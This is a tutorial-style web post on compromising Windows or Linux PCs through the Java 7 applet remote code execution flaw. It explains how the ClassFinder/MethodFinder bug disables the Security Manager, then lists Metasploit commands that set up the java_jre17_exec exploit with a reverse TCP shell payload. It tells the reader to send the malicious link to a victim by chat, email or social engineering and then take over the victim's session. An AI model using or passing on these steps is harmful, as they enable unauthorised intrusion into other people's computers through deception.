Hack Remote Windows or Linux PC using Java 7 Applet Remote Code Execution

The exploit takes advantage of two issues in JDK 7: The Class Finder and Method Finder.find Method(). Both were newly introduced in JDK 7. Class Finder is a replacement for class For Name back in JDK 6. It allows untrusted code to obtain a reference and have access to a restricted package in JDK 7, which can be used to abuse sun.awt. Sun Toolkit (a restricted package). With sun.awt. Sun Toolkit, we can actually invoke get Field() by abusing find Method() in Statement.invokeInternal() (but get Field() must be public, and that’s not always the case in JDK 6) in order to access Statement.acc’s private field, modify Access Control Context, and then disable Security Manager. Once Security Manager is disabled, we can execute arbitrary Java code. Our exploit has been tested successfully against multiple platforms, including: IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.

Exploit Targets

Oracle Java version 1.7.0_06-b24 and previous.

Internet Explorer, Firefox, Chrome, Safari

Windows SP 2, SP3, Ubuntu, Linux

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP SP 2

Open backtrack terminal type msfconsole

Now type use exploit/multi/browser/java_jre17_exec

 msf exploit (java_jre17_exec)>set payload java/shell_reverse_tcp

msf exploit (java_jre17_exec)>set lhost 192.168.1.4 (IP of Local Host)

msf exploit (java_jre17_exec)>set srvhost 192.168.1.4 (This must be an address on the local machine)

msf exploit (java_jre17_exec)>set uripath / (The Url to use for this exploit)

msf exploit (java_jre17_exec)>exploit

Now an URL you should give to your victim http://192.168.1.4:8080/

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Leave a Reply

Your email address will not be published. Required fields are marked *